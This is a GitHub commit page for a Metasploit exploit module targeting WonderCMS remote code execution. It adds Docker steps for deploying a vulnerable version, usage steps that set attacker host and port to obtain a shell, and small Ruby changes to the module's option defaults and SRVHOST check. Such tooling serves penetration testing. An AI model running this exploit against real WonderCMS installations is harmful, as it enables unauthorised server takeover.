Skip to content

Commit f2e0fe7

Browse files
committed
Responding to comments
1 parent b117843 commit f2e0fe7

File tree

2 files changed

+16
-5
lines changed

2 files changed

+16
-5
lines changed

documentation/modules/exploit/multi/http/wondercms_rce.md

Lines changed: 12 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -2,9 +2,15 @@
22

33
[WonderCMS](https://www.wondercms.com/) is a free and open-source Content Management System (CMS). The main advantage is that only one PHP file controls the whole management. Follow next steps to install application:
44

5+
### Source Installation
56
1. Install Apache2 and PHP on server
67
2. Download WonderCMS from [here](https://github.com/WonderCMS/wondercms/releases/download/3.4.2/wondercms-342.zip)
78
3. Enable Apache2 Rewrite Engine: `sudo a2enmod rewrite`
9+
### Docker Installation
10+
1. Clone the following repo: `git clone https://github.com/mablanco/docker-wondercms.git`
11+
2. Inside the `Dockerfile` set the version to a vulnerable version: `ARG WONDERCMS_VERSION=3.4.0`
12+
3. Build the image: ` docker build -t 3.4.0 .`
13+
4. Run the container: `docker run -d -p 8980:80 --name wondercms 3.4.0`
814

915

1016
## Verification Steps
@@ -13,10 +19,12 @@
1319
2. Start msfconsole
1420
3. Do: `use multi/http/wondercms_rce`
1521
4. Do: `set PASSWORD [password]`
16-
5. Do: `set LHOST [attacker IP]`
17-
6. Do: `set LPORT [attacker PORT]`
18-
4. Do: `run`
19-
5. You should get a shell.
22+
5. Do: `set RHOST [WonderCMS IP]
23+
6. Do: `set SRVHOST [attacker IP to host payload]`
24+
7. Do: `set LHOST [attacker IP]`
25+
8. Do: `set LPORT [attacker PORT]`
26+
9. Do: `run`
27+
10. You should get a shell.
2028

2129
## Options
2230

modules/exploits/multi/http/wondercms_rce.rb

Lines changed: 4 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -58,7 +58,7 @@ def initialize(info = {})
5858
register_options([
5959
OptString.new('TARGETURI', [true, 'Path to the WonderCMS application', '/wondercms']),
6060
OptString.new('PASSWORD', [true, 'Password to log into WonderCMS', '']),
61-
OptBool.new('CLEANUP', [false, 'Enable payload file cleanup', false])
61+
OptBool.new('CLEANUP', [false, 'Enable payload file cleanup', true])
6262
])
6363
end
6464

@@ -148,6 +148,9 @@ def install_malicious_component
148148
end
149149

150150
def exploit
151+
if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0
152+
fail_with(Exploit::Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.')
153+
end
151154
login
152155

153156
create_vulnerable_zip

0 commit comments

Comments
 (0)